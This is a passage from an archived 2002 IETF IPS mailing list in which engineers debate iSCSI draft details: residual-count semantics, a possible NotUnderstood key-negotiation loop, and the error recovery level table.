present. > > > > This alone is CLEARLY implying that targets look up the residuals > > right in the sense data, which is totally wrong. (Repeating myself > > here again.) > > My mail raised the question of when FCP-x initiator scsi transport > drivers can examine the resid field. This has nothing to do with > targets. I made no mention of targets peeking into sense data. Be that as it may, BUT you _were__spilling_ it into iSCSI. AND iSCSI is clear on that! Residuals are valid only when the appropriate bit is set (o/O/u/U). Also your mail _is_suggestive_ of peeking into the sense data, since you mention that status should be irrelevant for residuals. (Again spilling this into iSCSI!) This has _always_ been and still is a NON-ISSUE for me. Again, iSCSI is clear, and as complete on residuals as anything else out there. If anyone has a problem with this, they should raise the issue with T10 for a poke at SAM and/or SPC (whatever _they_ decide). -- Luben From owner-ips@ece.cmu.edu Fri Aug 9 16:11:30 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA09223 for ; Fri, 9 Aug 2002 16:11:29 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79JWsD08987 for ips-outgoing; Fri, 9 Aug 2002 15:32:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mercury.corp.iready.com ([65.115.68.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79JWoo08977 for ; Fri, 9 Aug 2002 15:32:51 -0400 (EDT) Received: by mercury.corp.iready.com with Internet Mail Service (5.5.2653.19) id ; Fri, 9 Aug 2002 12:32:44 -0700 Message-ID: <034670D62D19D31180990090277A37B7020DE25B@mercury.corp.iready.com> From: Bart Crane To: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Date: Fri, 9 Aug 2002 12:32:44 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C23FDB.88A66870" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C23FDB.88A66870 Content-Type: text/plain; charset="iso-8859-1" This new rule is not necessary. Sec. 4.2 says: The constants None, Reject, Irrelevant, and NotUnderstood are reserved and must only be used as described here. In the situation you describe, the sender will be expecting a response to "keyA", but the key-name was corrupted to "keyB". The receiver does not understand "keyB", and so responds with "keyB=NotUnderstood". To the sender, this appears to be the start of negotiating a new key, "keyB", with the value "NotUnderstood". But, this is not a valid use of the value "NotUnderstood", so it is a protocol error. So, the new rule of not-responding to keys with the value "NotUnderstood" is not necessary. Bart. -----Original Message----- From: Bill Studenmund [mailto:wrstuden@wasabisystems.com] Sent: Friday, August 09, 2002 9:12 AM To: ips@ece.cmu.edu Subject: Problem with use of NotUnderstood in negotiations I encountered a problem with how draft 15 specifies using NotUnderstood as a reply to keys that aren't understood. Namely if something injects garbage into the negotiation stream we can end up with a key BOTH sides don't understand, and so they both sit there sending "foo=NotUnderstood" back and forth to each other. Yes, well-behaved negotiators won't offer a key they don't understand. But the data stream can be corrupted, and all it would take is a single-bit error in a key name and we encounter the above. I propose we change the text to: Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. However, unless the value for the key was "NotUnderstood", the answer for a key not understood MUST be key=NotUnderstood. If the value for the key was "NotUnderstood", the acceptor MUST not answer the key. Note: I can easily see closing the connection with an error in the above case too. Thoughts? Take care, Bill ------_=_NextPart_001_01C23FDB.88A66870 Content-Type: text/html; charset="iso-8859-1" RE: Problem with use of NotUnderstood in negotiations

This new rule is not necessary.

Sec. 4.2 says:

   The constants None, Reject, Irrelevant, and NotUnderstood
   are reserved and must only be used as described here.

In the situation you describe, the sender will be expecting
a response to "keyA", but the key-name was corrupted to "keyB".

The receiver does not understand "keyB", and so responds with
"keyB=NotUnderstood".

To the sender, this appears to be the start of negotiating a
new key, "keyB", with the value "NotUnderstood". 

But, this is not a valid use of the value "NotUnderstood",
so it is a protocol error.

So, the new rule of not-responding to keys with the value
"NotUnderstood" is not necessary.

Bart.

-----Original Message-----
From: Bill Studenmund [mailto:wrstuden@wasabisystems.com]
Sent: Friday, August 09, 2002 9:12 AM
To: ips@ece.cmu.edu
Subject: Problem with use of NotUnderstood in negotiations


I encountered a problem with how draft 15 specifies using NotUnderstood as
a reply to keys that aren't understood. Namely if something injects
garbage into the negotiation stream we can end up with a key BOTH sides
don't understand, and so they both sit there sending "foo=NotUnderstood"
back and forth to each other.

Yes, well-behaved negotiators won't offer a key they don't understand. But
the data stream can be corrupted, and all it would take is a single-bit
error in a key name and we encounter the above.

I propose we change the text to:

Any key not understood by the acceptor may be ignored by the acceptor
without affecting the basic function. However, unless the value for the
key was "NotUnderstood", the answer for a key not understood MUST be
key=NotUnderstood. If the value for the key was "NotUnderstood", the
acceptor MUST not answer the key.

Note: I can easily see closing the connection with an error in the above
case too.

Thoughts?

Take care,

Bill

------_=_NextPart_001_01C23FDB.88A66870-- From owner-ips@ece.cmu.edu Fri Aug 9 16:12:11 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA09243 for ; Fri, 9 Aug 2002 16:12:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79K2lW11114 for ips-outgoing; Fri, 9 Aug 2002 16:02:47 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79K2jo11107 for ; Fri, 9 Aug 2002 16:02:45 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id AE1E6E008FD; Fri, 9 Aug 2002 13:02:44 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id NAA20310; Fri, 9 Aug 2002 13:02:39 -0700 (PDT) Message-ID: <3D542279.32EE31E7@cup.hp.com> Date: Fri, 09 Aug 2002 13:13:45 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.78 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Luben Tuikov Cc: Black_David@emc.com, ips@ece.cmu.edu Subject: Re: iSCSI: Check Condition and Residuals References: <277DD60FB639D511AC0400B0D068B71E064435AA@CORPMX14> <3D53CD9A.5B075DC7@splentec.com> <3D540D5B.6FAFF5F3@cup.hp.com> <3D541BEA.36B19692@splentec.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit It sounds to me like there is a mis-understanding here on who owns the "RESID" field. FCP-2 makes it clear that it is the FCP-2 SCSI LLP in the target that should initialize this field based on FCP_DL and its state information on the bytes transferred. IOW, this is a field owned by the scsi transport and should be initialized/computed by the scsi transport. (See FCP-2 Rev 07a Section 9.4.8). It sounds like folks here are assuming the the SCSI device server is going to provide this information to the iSCSI LLP layer in the target and the iscsi target layer would then copy this information into the Response PDU. It is upto the iSCSI layer to initialize the RESID field anytime a data underflow or overflow condition occurs. Perhaps, the RESID field definition should provide guidelines on how the iscsi target layer should compute the RESID, as is done by FCP-2 Section 9.4.8. - Santosh Luben Tuikov wrote: > Be that as it may, BUT you _were__spilling_ it into iSCSI. > > AND iSCSI is clear on that! Residuals are valid only when > the appropriate bit is set (o/O/u/U). > > Also your mail _is_suggestive_ of peeking into the sense data, > since you mention that status should be irrelevant for residuals. > (Again spilling this into iSCSI!) > > This has _always_ been and still is a NON-ISSUE for me. > > Again, iSCSI is clear, and as complete on residuals as anything > else out there. > > If anyone has a problem with this, they should raise the issue > with T10 for a poke at SAM and/or SPC (whatever _they_ decide). -- Finish each day and be done with it. You have done what you could; some blunders and absurdities have crept in; forget them as soon as you can. Tomorrow is a new day; you shall begin it serenely and with too high a spirit to be encumbered with your old nonsense. From owner-ips@ece.cmu.edu Fri Aug 9 16:12:27 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA09259 for ; Fri, 9 Aug 2002 16:12:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79K4rh11256 for ips-outgoing; Fri, 9 Aug 2002 16:04:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas1.cos.agilent.com (msgbas1x.cos.agilent.com [192.25.240.36]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79K4qo11251 for ; Fri, 9 Aug 2002 16:04:52 -0400 (EDT) Received: from msgrel1t.cos.agilent.com (msgrel1t.cos.agilent.com [130.29.152.157]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id B49A9DAC6; Fri, 9 Aug 2002 14:04:46 -0600 (MDT) Received: from axcsbh3.cos.agilent.com (axcsbh3.cos.agilent.com [130.29.152.190]) by msgrel1t.cos.agilent.com (Postfix) with SMTP id B896D5E6; Fri, 9 Aug 2002 14:04:45 -0600 (MDT) Received: from 130.29.152.190 by axcsbh3.cos.agilent.com (InterScan E-Mail VirusWall NT); Fri, 09 Aug 2002 14:04:43 -0600 Received: by axcsbh3.cos.agilent.com with Internet Mail Service (5.5.2653.19) id ; Fri, 9 Aug 2002 14:04:39 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00D6435B2@axcs04.cos.agilent.com> From: pat_thaler@agilent.com To: bcrane@iready.com, ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Date: Fri, 9 Aug 2002 14:04:36 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----=_NextPartTM-000-44f7f2f4-b79f-4eb4-b7bc-f86fcf2b1e34" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-44f7f2f4-b79f-4eb4-b7bc-f86fcf2b1e34 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C23FDF.FC704BF0" ------_=_NextPart_001_01C23FDF.FC704BF0 Content-Type: text/plain; charset="iso-8859-1" Bart, So the question is, in what order does a device do the checking. There are many possibilites for handling a received key that is unknown and comes in with the value unknown: A) Check key if key unknown, send key=NotUnderstood else ...process key=value pair B) Check key if key unknown if value=NotUnderstood silently drop (or close connection) else send key=NotUnderstood I expect case A is more likely to get implemented in the absence of an explicit statement. There would normally be no need to examine the value of a key when one doesn't understand the key. In this case, the receiver never does a test that detects the apparent protocol violation of making an offer with a value NotUnderstood. So, if we want to stop the loop that Bill has found, we should put in an explicit requirement to test the value for NotUnderstood before responding to a key with NotUnderstood. The alternative is to leave things as they are and count on implementations to abort the negotiation based on a timeout or a count of excessive number of negotiation PDU exchanges. Regards, Pat -----Original Message----- From: Bart Crane [mailto:bcrane@iready.com] Sent: Friday, August 09, 2002 12:33 PM To: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations This new rule is not necessary. Sec. 4.2 says: The constants None, Reject, Irrelevant, and NotUnderstood are reserved and must only be used as described here. In the situation you describe, the sender will be expecting a response to "keyA", but the key-name was corrupted to "keyB". The receiver does not understand "keyB", and so responds with "keyB=NotUnderstood". To the sender, this appears to be the start of negotiating a new key, "keyB", with the value "NotUnderstood". But, this is not a valid use of the value "NotUnderstood", so it is a protocol error. So, the new rule of not-responding to keys with the value "NotUnderstood" is not necessary. Bart. -----Original Message----- From: Bill Studenmund [ mailto:wrstuden@wasabisystems.com ] Sent: Friday, August 09, 2002 9:12 AM To: ips@ece.cmu.edu Subject: Problem with use of NotUnderstood in negotiations I encountered a problem with how draft 15 specifies using NotUnderstood as a reply to keys that aren't understood. Namely if something injects garbage into the negotiation stream we can end up with a key BOTH sides don't understand, and so they both sit there sending "foo=NotUnderstood" back and forth to each other. Yes, well-behaved negotiators won't offer a key they don't understand. But the data stream can be corrupted, and all it would take is a single-bit error in a key name and we encounter the above. I propose we change the text to: Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. However, unless the value for the key was "NotUnderstood", the answer for a key not understood MUST be key=NotUnderstood. If the value for the key was "NotUnderstood", the acceptor MUST not answer the key. Note: I can easily see closing the connection with an error in the above case too. Thoughts? Take care, Bill ------_=_NextPart_001_01C23FDF.FC704BF0 Content-Type: text/html; charset="iso-8859-1" RE: Problem with use of NotUnderstood in negotiations
Bart,
 
So the question is, in what order does a device do the checking.
 
There are many possibilites for handling a received key that is
unknown and comes in with the value unknown:
 
A) Check key
       if key unknown, send key=NotUnderstood
         else ...process key=value pair
 
B) Check key
       if key unknown
         if value=NotUnderstood silently drop (or close connection)
           else send key=NotUnderstood
 
I expect case A is more likely to get implemented in the absence
of an explicit statement. There would normally be no need to
examine the value of a key when one doesn't understand the key.
In this case, the receiver never does a test that detects the
apparent protocol violation of making an offer with a value
NotUnderstood.
 
So, if we want to stop the loop that Bill has found, we should
put in an explicit requirement to test the value for NotUnderstood
before responding to a key with NotUnderstood.
 
The alternative is to leave things as they are and count on
implementations to abort the negotiation based on a timeout
or a count of excessive number of negotiation PDU exchanges.
 
Regards,
Pat
 
-----Original Message-----
From: Bart Crane [mailto:bcrane@iready.com]
Sent: Friday, August 09, 2002 12:33 PM
To: ips@ece.cmu.edu
Subject: RE: Problem with use of NotUnderstood in negotiations

This new rule is not necessary.

Sec. 4.2 says:

   The constants None, Reject, Irrelevant, and NotUnderstood
   are reserved and must only be used as described here.

In the situation you describe, the sender will be expecting
a response to "keyA", but the key-name was corrupted to "keyB".

The receiver does not understand "keyB", and so responds with
"keyB=NotUnderstood".

To the sender, this appears to be the start of negotiating a
new key, "keyB", with the value "NotUnderstood". 

But, this is not a valid use of the value "NotUnderstood",
so it is a protocol error.

So, the new rule of not-responding to keys with the value
"NotUnderstood" is not necessary.

Bart.

-----Original Message-----
From: Bill Studenmund [mailto:wrstuden@wasabisystems.com]
Sent: Friday, August 09, 2002 9:12 AM
To: ips@ece.cmu.edu
Subject: Problem with use of NotUnderstood in negotiations


I encountered a problem with how draft 15 specifies using NotUnderstood as
a reply to keys that aren't understood. Namely if something injects
garbage into the negotiation stream we can end up with a key BOTH sides
don't understand, and so they both sit there sending "foo=NotUnderstood"
back and forth to each other.

Yes, well-behaved negotiators won't offer a key they don't understand. But
the data stream can be corrupted, and all it would take is a single-bit
error in a key name and we encounter the above.

I propose we change the text to:

Any key not understood by the acceptor may be ignored by the acceptor
without affecting the basic function. However, unless the value for the
key was "NotUnderstood", the answer for a key not understood MUST be
key=NotUnderstood. If the value for the key was "NotUnderstood", the
acceptor MUST not answer the key.

Note: I can easily see closing the connection with an error in the above
case too.

Thoughts?

Take care,

Bill

------_=_NextPart_001_01C23FDF.FC704BF0-- ------=_NextPartTM-000-44f7f2f4-b79f-4eb4-b7bc-f86fcf2b1e34-- From owner-ips@ece.cmu.edu Fri Aug 9 17:13:23 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA11345 for ; Fri, 9 Aug 2002 17:13:23 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79Kw3015076 for ips-outgoing; Fri, 9 Aug 2002 16:58:03 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79Kw2o15072 for ; Fri, 9 Aug 2002 16:58:02 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 0568F3070A; Fri, 9 Aug 2002 16:58:02 -0400 (EDT) Date: Fri, 9 Aug 2002 13:53:59 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Subject: Kerberos Auth Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Has anyone implemented it? If so, please contact me off-list. Take care, Bill From owner-ips@ece.cmu.edu Fri Aug 9 17:13:23 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA11351 for ; Fri, 9 Aug 2002 17:13:23 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79KaGG13584 for ips-outgoing; Fri, 9 Aug 2002 16:36:16 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mercury.corp.iready.com ([65.115.68.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79KaEo13578 for ; Fri, 9 Aug 2002 16:36:14 -0400 (EDT) Received: by mercury.corp.iready.com with Internet Mail Service (5.5.2653.19) id ; Fri, 9 Aug 2002 13:36:08 -0700 Message-ID: <034670D62D19D31180990090277A37B7020DE261@mercury.corp.iready.com> From: Bart Crane To: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Date: Fri, 9 Aug 2002 13:36:07 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C23FE4.63B847F0" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C23FE4.63B847F0 Content-Type: text/plain; charset="iso-8859-1" -----Original Message----- From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com] Sent: Friday, August 09, 2002 1:05 PM To: bcrane@iready.com; ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Bart, So the question is, in what order does a device do the checking. There are many possibilites for handling a received key that is unknown and comes in with the value unknown: A) Check key if key unknown, send key=NotUnderstood else ...process key=value pair B) Check key if key unknown if value=NotUnderstood silently drop (or close connection) else send key=NotUnderstood I expect case A is more likely to get implemented in the absence of an explicit statement. There would normally be no need to examine the value of a key when one doesn't understand the key. In this case, the receiver never does a test that detects the apparent protocol violation of making an offer with a value NotUnderstood. So, if we want to stop the loop that Bill has found, we should put in an explicit requirement to test the value for NotUnderstood before responding to a key with NotUnderstood. [Bart Crane] Sec. 4.2 stating that "None", "Reject", "Irrelevant" and "NotUnderstood" are reserved implies that they do need to be tested. The proposed rule also implies that they be tested. My interpretation is that these values must not be used, except in the way that the spec defines their use. The spec defines their use ONLY as a response to an iSCSI-defined key. So, their being used as the initial value to any key is prohibited. Thus, there is no need to add another rule regarding not-responding to keys with NotUnderstood as a value, because a key with that value is a protocol error. This could be made more explicit, but there does not seem to be any ambiguity. Bart. The alternative is to leave things as they are and count on implementations to abort the negotiation based on a timeout or a count of excessive number of negotiation PDU exchanges. Regards, Pat -----Original Message----- From: Bart Crane [mailto:bcrane@iready.com] Sent: Friday, August 09, 2002 12:33 PM To: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations This new rule is not necessary. Sec. 4.2 says: The constants None, Reject, Irrelevant, and NotUnderstood are reserved and must only be used as described here. In the situation you describe, the sender will be expecting a response to "keyA", but the key-name was corrupted to "keyB". The receiver does not understand "keyB", and so responds with "keyB=NotUnderstood". To the sender, this appears to be the start of negotiating a new key, "keyB", with the value "NotUnderstood". But, this is not a valid use of the value "NotUnderstood", so it is a protocol error. So, the new rule of not-responding to keys with the value "NotUnderstood" is not necessary. Bart. -----Original Message----- From: Bill Studenmund [ mailto:wrstuden@wasabisystems.com ] Sent: Friday, August 09, 2002 9:12 AM To: ips@ece.cmu.edu Subject: Problem with use of NotUnderstood in negotiations I encountered a problem with how draft 15 specifies using NotUnderstood as a reply to keys that aren't understood. Namely if something injects garbage into the negotiation stream we can end up with a key BOTH sides don't understand, and so they both sit there sending "foo=NotUnderstood" back and forth to each other. Yes, well-behaved negotiators won't offer a key they don't understand. But the data stream can be corrupted, and all it would take is a single-bit error in a key name and we encounter the above. I propose we change the text to: Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. However, unless the value for the key was "NotUnderstood", the answer for a key not understood MUST be key=NotUnderstood. If the value for the key was "NotUnderstood", the acceptor MUST not answer the key. Note: I can easily see closing the connection with an error in the above case too. Thoughts? Take care, Bill ------_=_NextPart_001_01C23FE4.63B847F0 Content-Type: text/html; charset="iso-8859-1" RE: Problem with use of NotUnderstood in negotiations
-----Original Message-----
From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com]
Sent: Friday, August 09, 2002 1:05 PM
To: bcrane@iready.com; ips@ece.cmu.edu
Subject: RE: Problem with use of NotUnderstood in negotiations

Bart,
 
So the question is, in what order does a device do the checking.
 
There are many possibilites for handling a received key that is
unknown and comes in with the value unknown:
 
A) Check key
       if key unknown, send key=NotUnderstood
         else ...process key=value pair
 
B) Check key
       if key unknown
         if value=NotUnderstood silently drop (or close connection)
           else send key=NotUnderstood
 
I expect case A is more likely to get implemented in the absence
of an explicit statement. There would normally be no need to
examine the value of a key when one doesn't understand the key.
In this case, the receiver never does a test that detects the
apparent protocol violation of making an offer with a value
NotUnderstood.
 
So, if we want to stop the loop that Bill has found, we should
put in an explicit requirement to test the value for NotUnderstood
before responding to a key with NotUnderstood.
[Bart Crane] 
Sec. 4.2 stating that "None", "Reject", "Irrelevant" and "NotUnderstood"
are reserved implies that they do need to be tested.  The proposed
rule also implies that they be tested.
 
My interpretation is that these values must not be used, except in
the way that the spec defines their use.
 
The spec defines their use ONLY as a response to an iSCSI-defined key.
 
So, their being used as the initial value to any key is prohibited.
 
Thus, there is no need to add another rule regarding not-responding to
keys with NotUnderstood as a value, because a key with that value is
a protocol error.
 
This could be made more explicit, but there does not seem to be any
ambiguity.
 
Bart.
 
The alternative is to leave things as they are and count on
implementations to abort the negotiation based on a timeout
or a count of excessive number of negotiation PDU exchanges.
 
Regards,
Pat
 
-----Original Message-----
From: Bart Crane [mailto:bcrane@iready.com]
Sent: Friday, August 09, 2002 12:33 PM
To: ips@ece.cmu.edu
Subject: RE: Problem with use of NotUnderstood in negotiations

This new rule is not necessary.

Sec. 4.2 says:

   The constants None, Reject, Irrelevant, and NotUnderstood
   are reserved and must only be used as described here.

In the situation you describe, the sender will be expecting
a response to "keyA", but the key-name was corrupted to "keyB".

The receiver does not understand "keyB", and so responds with
"keyB=NotUnderstood".

To the sender, this appears to be the start of negotiating a
new key, "keyB", with the value "NotUnderstood". 

But, this is not a valid use of the value "NotUnderstood",
so it is a protocol error.

So, the new rule of not-responding to keys with the value
"NotUnderstood" is not necessary.

Bart.

-----Original Message-----
From: Bill Studenmund [mailto:wrstuden@wasabisystems.com]
Sent: Friday, August 09, 2002 9:12 AM
To: ips@ece.cmu.edu
Subject: Problem with use of NotUnderstood in negotiations


I encountered a problem with how draft 15 specifies using NotUnderstood as
a reply to keys that aren't understood. Namely if something injects
garbage into the negotiation stream we can end up with a key BOTH sides
don't understand, and so they both sit there sending "foo=NotUnderstood"
back and forth to each other.

Yes, well-behaved negotiators won't offer a key they don't understand. But
the data stream can be corrupted, and all it would take is a single-bit
error in a key name and we encounter the above.

I propose we change the text to:

Any key not understood by the acceptor may be ignored by the acceptor
without affecting the basic function. However, unless the value for the
key was "NotUnderstood", the answer for a key not understood MUST be
key=NotUnderstood. If the value for the key was "NotUnderstood", the
acceptor MUST not answer the key.

Note: I can easily see closing the connection with an error in the above
case too.

Thoughts?

Take care,

Bill

------_=_NextPart_001_01C23FE4.63B847F0-- From owner-ips@ece.cmu.edu Fri Aug 9 17:14:29 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA11403 for ; Fri, 9 Aug 2002 17:14:29 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79L4UN15535 for ips-outgoing; Fri, 9 Aug 2002 17:04:30 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79L4Qo15525 for ; Fri, 9 Aug 2002 17:04:26 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g79L4Gq6058424; Fri, 9 Aug 2002 23:04:16 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g79L4FZe065602; Fri, 9 Aug 2002 23:04:15 +0200 To: pat_thaler@agilent.com Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu, pat_thaler@agilent.com, pkoning@equallogic.com, Shahram_Davari@pmc-sierra.com MIME-Version: 1.0 Subject: RE: iSCSI question X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Sat, 10 Aug 2002 00:04:11 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 10/08/2002 00:04:15, Serialize complete at 10/08/2002 00:04:15 Content-Type: multipart/alternative; boundary="=_alternative 006B57D4C2256C10_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 006B57D4C2256C10_= Content-Type: text/plain; charset="us-ascii" it is alredy in - julo pat_thaler@agilent.com Sent by: owner-ips@ece.cmu.edu 08/09/2002 08:10 PM To: Shahram_Davari@pmc-sierra.com, pat_thaler@agilent.com, pkoning@equallogic.com cc: ips@ece.cmu.edu Subject: RE: iSCSI question Shaharam, I agree that the table by itself is not clear, but that the text of the section clearly states things. That is why I suggested a change to that table: +-------------------+--------------------------------------------+ |ErrorRecoveryLevel | Associated Error recovery capabilities | +-------------------+--------------------------------------------+ | 0 | Session recovery class | | | (Section 5.14.4 Session Recovery) | +-------------------+--------------------------------------------+ | 1 | Digest failure recovery (See Note below.) | | | plus all ErrorRecoverLevel 0 capabilities | +-------------------+--------------------------------------------+ | 2 | Connection recovery class | | | (Section 5.14.3 Connection Recovery) | | | plus all ErrorRecoverLevel 1 capabilities | +-------------------+--------------------------------------------+ Pat -----Original Message----- From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] Sent: Friday, August 09, 2002 6:48 AM To: 'pat_thaler@agilent.com'; pkoning@equallogic.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI question Pat, Thanks for your excellent description. I now fully understand the issue. However, I disagree that the text is clear on the difference between error recover classes and error recovery levels. As a proof, look at figure 2, in section 5.15: +-------------------+--------------------------------------------+ |ErrorRecoveryLevel | Associated Error recovery capabilities | +-------------------+--------------------------------------------+ | 0 | Session recovery class | | | (Section 5.14.4 Session Recovery) | +-------------------+--------------------------------------------+ | 1 | Digest failure recovery (See Note below.) | +-------------------+--------------------------------------------+ | 2 | Connection recovery class | | | (Section 5.14.3 Connection Recovery) | +-------------------+--------------------------------------------+ In which, each recovery level is associated with only one recovery class. Yours, -Shahram > -----Original Message----- > From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com] > Sent: Thursday, August 08, 2002 5:58 PM > To: Shahram Davari; pkoning@equallogic.com > Cc: ips@ece.cmu.edu > Subject: RE: iSCSI question > > > Shahram, > > There are two recovery heirarchies. You seem to be confusing > error recovery level with error recovery class. > > One is the heirarchy for implementation requirements. With 3 > forms of recovery, there are 8 possible combinations but to > simplify interoperability and to specify minimum acceptable > operation, we don't want to allow all eight. Session > qualifies two ways to be level 0 of this heirarchy - it is > simplest to implement and it should be able to recover from > any recoverable error. > > Note that these are the error recovery levels that are > described in 5.15. A sessions recovery level indicates the > set of recovery classes it is capable of using. The recovery > levels are defined such that a lower recovery level includes > a subset of the recovery classes available at a higher recovery level. > > The other heirarchy is the order in which the available > classes are applied once an error occurs. This is the subject > of 5.14. The classes are disjoint. > > Once an error occurs, the device will choose an error > recovery class from the set of recovery classes in its > recovery level. If that recovery class fails, it may try the > next higher class. > > Error recovery level 0 includes the Session recovery class. > Error recovery level 1 includes the two classes useful for > Digest failure recovery (Within-Command and > Within-Connection) plus the Session recovery class from level 0. > Error recovery level 2 includes Connection recovery class > plus the classes included in level 1. > > I think the text already makes this clear and the pyramid > correctly represents this, but perhaps the chart below the > period could add "plus the capablilities of > ErrorRecoveryLevel n" to the boxes for Associated Error > recovery capablities for levels 1 and 2 ("n" = 0 and 1, respectively). > > I hope this helps remove some of the confusion. > > Pat > > -----Original Message----- > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] > Sent: Thursday, August 08, 2002 2:22 PM > To: 'Paul Koning' > Cc: ips@ece.cmu.edu > Subject: RE: iSCSI question > > > Paul, > > > > But that's not what "hierarchy" refers to here. > > > > The hierarchy is one of increased capability, not increased > > desperation. Session recovery is the minimum required; the > additional > > levels are optional capabilities in addition to the minimum. Each > > higher level in the hierarchy is a superset of the one below. > > It all depends on the definition of these recovery classes. > > 1) If they are defined in a superset/subset fashion, then I agree > that level of complexity increases as: Session->PDU->connection. > Then I suggest changing texts in other parts of the draft such as > section 5.14 to indicate that if you have the capabilities of > class X, then you don't need to escalate to lower classes, because > class X already has those capabilities itself. Also I suggest > changing the hierarchy figure as following: > > > + > / \ > / 2 \ > +-----+ > / 1,2 \ > +---------+ > / 